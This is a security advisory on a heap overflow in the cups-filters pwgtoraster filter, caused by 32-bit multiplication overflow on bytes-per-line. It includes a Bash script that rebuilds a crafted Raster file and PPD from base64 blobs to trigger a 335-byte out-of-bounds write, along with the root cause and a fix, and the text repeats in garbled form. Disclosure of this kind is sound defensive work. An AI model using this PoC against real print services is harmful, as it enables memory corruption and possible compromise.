Summary
When output resolution is an integer multiple of input resolution,
pwgtoraster multiplies the Raster bytes-per-line by that factor in signed
32-bit state before allocating its input row. A valid 447,439-byte row at
1 DPI and a 9,600 DPI output mode allocate 447,104 bytes, then libcups decodes
the complete row and writes 335 document-controlled bytes past the allocation.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a
- libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686
- libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.ras uses normal Raster compression, so the 447,439-byte decoded
row needs only an 8,858-byte input file. Its SHA-256 is
6a07436ac8fcfbf7ceae22cd671257483d37dcdd88991c5a108c80242f067f58.
The enumerated 9,600 DPI PPD has SHA-256
da91a6ce7566bd7396d00cb7a709df8f1bc9a0349490dfd0b12fca4b53a7ccdb.
Run:
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: pwgtoraster: horizontal replication undersizes the input row
# Finding ID: pwgtoraster-horizontal-replication-integer-overflow
# Trigger: When output resolution is an integer multiple of input resolution,
# pwgtoraster multiplies the Raster bytes-per-line by that factor in signed
# 32-bit state before allocating its input row. A valid 447,439-byte row at 1
# DPI and a 9,600 DPI output mode allocate 447,104 bytes, then libcups decodes
# the complete row and writes 335 document-controlled bytes past the
# allocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.ras (8858 bytes)
write_file document.ras 6a07436ac8fcfbf7ceae22cd671257483d37dcdd88991c5a108c80242f067f58 <<'POC_PAYLOAD_0'
H4sIAAAAAAACAzMKTgwKKE8PSiwuSS1iGAUwwAjEDaoMDEJAWgWIg5gYGL4woaqByRECKUB9Esyo
Yucvs4HtAAEOKAaJwcyFuYEBgy3pwsDgBsQTHBkYBJwYGkSAbFuX0RgbBaNgFIxU4JNaQlkFVi84
CkfhKByFo3AUjsJROApH4SgchaNwFI7CUTgKR+EoHIWjcBSOwlE4CkfhKMQO+QQPLli4aPGSpcuW
r1i5avWatevWb9i4afOWrdu279i5a/eevfv2Hzh46PCRo8eOnzh56vSZs+fOX7h46fKVq9eu37h5
6/adu/fuAwBemUKVmiIAAA==
POC_PAYLOAD_0
# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (1088 bytes)
write_file printer.ppd da91a6ce7566bd7396d00cb7a709df8f1bc9a0349490dfd0b12fca4b53a7ccdb <<'POC_PAYLOAD_1'
H4sIAAAAAAACA31SYW/aMBT8nl9h9VOLBAkFJoqqSgHKhkQhWtRNU9UPJnmk1hzbsp213a/fc9Lg
dOuQUCTu7r07n91LkmU/zuUeZuRsPBidBb2V1CW130AbJoVHGQePDQcRYhsqiooWHr8VBWfmyTO3
IpM5E8WMrNPdhlomhkHvjorqQDNbadC4a6dAJJoJJAtceidz4FtaukBZpUz/wLhFA3L1KYpIrhih
gvJXwwxRWiIJOJQ+SW23LPv50WCrR93/JKd2Jwt39repeBtvfqTrdIC9OU7LvMosEucfWrZrLpw2
9f2dj6JhdEFciW7uSGCvDdK0UJV7V1GLYW+UL6RiYGZkRbmBhljVrriWKsVZhjVLEcrMgu0bq4GW
JCLqubBSU4NCNHWd369JL8E7StlvPFmCzewELlzCgVbceiYeB0cd/gnjMTpdX4ct9jC5mpDp+PIx
XJe0wEucz+ULERXnNzcGrEJZDr9Y5rpccGngfj3zzkdDNwx0zyHGxI3rO4jUvsNLgr/JdESmI9fe
Ma0CvWQliKbHJnMXa8bfonYaWEgudd32vx10uc+avgYddQ2E7tO04e6hZlNFMyDDaY3MmTUJ6Jog
76CEveCS6amKvJmP+xWM5JWtD/l33C7nHjS+56Az0GJh+9ib4F++e8lDTbnP46lgfiD4A9LnvW5A
BAAA
POC_PAYLOAD_1
Result
ASan reports the first invalid decoded byte immediately after a 447,104-byte
allocation. The logical row is 447,439 bytes, so the actual overflow is 335
bytes. The write originates in _cupsRasterReadPixels() and enters through
pwgtoraster.c:1850. The plain build exits with SIGSEGV, status 139.
The overflow bytes come from the decoded Raster row. The allocation is now
below 512 KiB and the input is below the OSS-Fuzz target's 1 MiB max_len;
the current harness rejects it because its validator caps DPI, width, and
bytes-per-line, not because the PoC is inherently too large.
Cause and expected behavior
At pwgtoraster.c:1756, cupsBytesPerLine * res_up_factor[0] is converted
into the signed int i after 32-bit multiplication. For the PoC,
447,439 * 9,600 mod 2^32 = 447,104
Line 1761 allocates that wrapped result. The row read at lines 1850-1852 still
uses the original cupsBytesPerLine.
The product must be checked as size_t, conversion back to narrower types
must be rejected on overflow, and the read length must never exceed the
allocated input-row capacity.
Summary
When output resolution is an integer multiple of input resolution,
pwgtorastermultiplies the Raster bytes-per-line by that factor in signed32-bit state before allocating its input row. A valid 447,439-byte row at
1 DPI and a 9,600 DPI output mode allocate 447,104 bytes, then libcups decodes
the complete row and writes 335 document-controlled bytes past the allocation.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters
11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppdfc41539f761286396a7df8aeeda762070192e37e.Validated revisions:
11d1a190530f85a361a1b3835f57d635256dff1a905fd94fb22a9298bc8e2c845eb7e04f7055b686522af8dd135f4dde66b1aac8b9d067808bbe122dpoc/document.rasuses normal Raster compression, so the 447,439-byte decodedrow needs only an 8,858-byte input file. Its SHA-256 is
6a07436ac8fcfbf7ceae22cd671257483d37dcdd88991c5a108c80242f067f58.The enumerated 9,600 DPI PPD has SHA-256
da91a6ce7566bd7396d00cb7a709df8f1bc9a0349490dfd0b12fca4b53a7ccdb.Run:
The following commented Bash script constructs the exact PoC and control
inputs. Save it as
make_poc.sh, then runbash make_poc.sh poc.Result
ASan reports the first invalid decoded byte immediately after a 447,104-byte
allocation. The logical row is 447,439 bytes, so the actual overflow is 335
bytes. The write originates in
_cupsRasterReadPixels()and enters throughpwgtoraster.c:1850. The plain build exits with SIGSEGV, status 139.The overflow bytes come from the decoded Raster row. The allocation is now
below 512 KiB and the input is below the OSS-Fuzz target's 1 MiB
max_len;the current harness rejects it because its validator caps DPI, width, and
bytes-per-line, not because the PoC is inherently too large.
Cause and expected behavior
At
pwgtoraster.c:1756,cupsBytesPerLine * res_up_factor[0]is convertedinto the signed
int iafter 32-bit multiplication. For the PoC,Line 1761 allocates that wrapped result. The row read at lines 1850-1852 still
uses the original
cupsBytesPerLine.The product must be checked as
size_t, conversion back to narrower typesmust be rejected on overflow, and the read length must never exceed the
allocated input-row capacity.